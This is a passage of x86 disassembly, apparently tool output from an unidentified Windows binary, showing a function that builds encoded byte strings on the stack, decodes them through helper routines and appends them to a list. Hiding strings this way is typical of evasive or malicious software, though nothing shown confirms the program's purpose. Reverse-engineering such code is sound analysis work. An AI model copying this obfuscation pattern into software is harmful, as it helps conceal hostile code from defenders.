mov dword [ebp - 0x85], 0xd3f8fbe0
mov dword [ebp - 0x81], 0x100d0d4
mov esi, esp
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.00402760
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xcfdad9e3
mov word [ebp - 0x18], 0xd5
mov byte [ebp - 0x16], 1
call fcn.004634d0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x8f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414150
sub ecx, edx
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x8e
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0xdfcddfdd
mov dword [ebp - 0x2a], 0xd1d7d2
mov byte [ebp - 0x26], 1
call fcn.00463280
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0x91
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4141c0
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x90
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x4f]
mov dword [ebp - 0x4f], 0xd5dcd3dd
mov dword [ebp - 0x4b], 0xa3d3dfc9
mov dword [ebp - 0x47], 0xadabae
mov byte [ebp - 0x43], 1
call fcn.00463250
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x93
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414236
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x92
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xd9cfd3f5
mov dword [ebp - 0x34], 0xaed6d1de
mov word [ebp - 0x30], 0x100
call fcn.00463160
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4142a7
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x94
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xd8dfdfeb
mov dword [ebp - 0x3e], 0xaed6d1de
mov word [ebp - 0x3a], 0x100
call fcn.00463160
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x97
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414318
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x96
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x3ac]
movaps xmm0, xmmword [0x527740]
movups xmmword [ebp - 0x3ac], xmm0
mov word [ebp - 0x39c], 0x100
call fcn.004631c0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0x99
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414392
sub ecx, edx
lea eax, [ebp - 0x3ac]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x98
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00466110
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0xdbdfdff5
mov dword [ebp - 0x58], 0x8c9fccd8
mov dword [ebp - 0x54], 0xa6b4a8
mov byte [ebp - 0x50], 1
call fcn.00463250
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.00402880
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x9b
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414410
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
mov byte [ebp - 4], 0x9a
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.00410a20
add esp, 0x30
lea ecx, [ebp - 0x760]
call fcn.004026c0
lea ecx, [ebp - 0x374]
call fcn.004026c0
lea ecx, [ebp - 0x778]
call fcn.004026c0
lea ecx, [ebp - 0x790]
call fcn.004026c0
lea ecx, [ebp - 0x7a8]
call fcn.004026c0
lea ecx, [ebp - 0x7c0]
call fcn.004026c0
lea ecx, [ebp - 0x7d8]
call fcn.004026c0
lea ecx, [ebp - 0x7f0]
call fcn.004026c0
lea ecx, [ebp - 0x808]
call fcn.004026c0
lea ecx, [ebp - 0x820]
call fcn.004026c0
lea ecx, [ebp - 0x35c]
call fcn.004026c0
lea ecx, [ebp - 0x838]
call fcn.004026c0
lea ecx, [ebp - 0x850]
call fcn.004026c0
lea ecx, [ebp - 0x868]
call fcn.004026c0
lea ecx, [ebp - 0x880]
call fcn.004026c0
lea ecx, [ebp - 0x898]
call fcn.004026c0
lea ecx, [ebp + 8]
call fcn.004026c0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret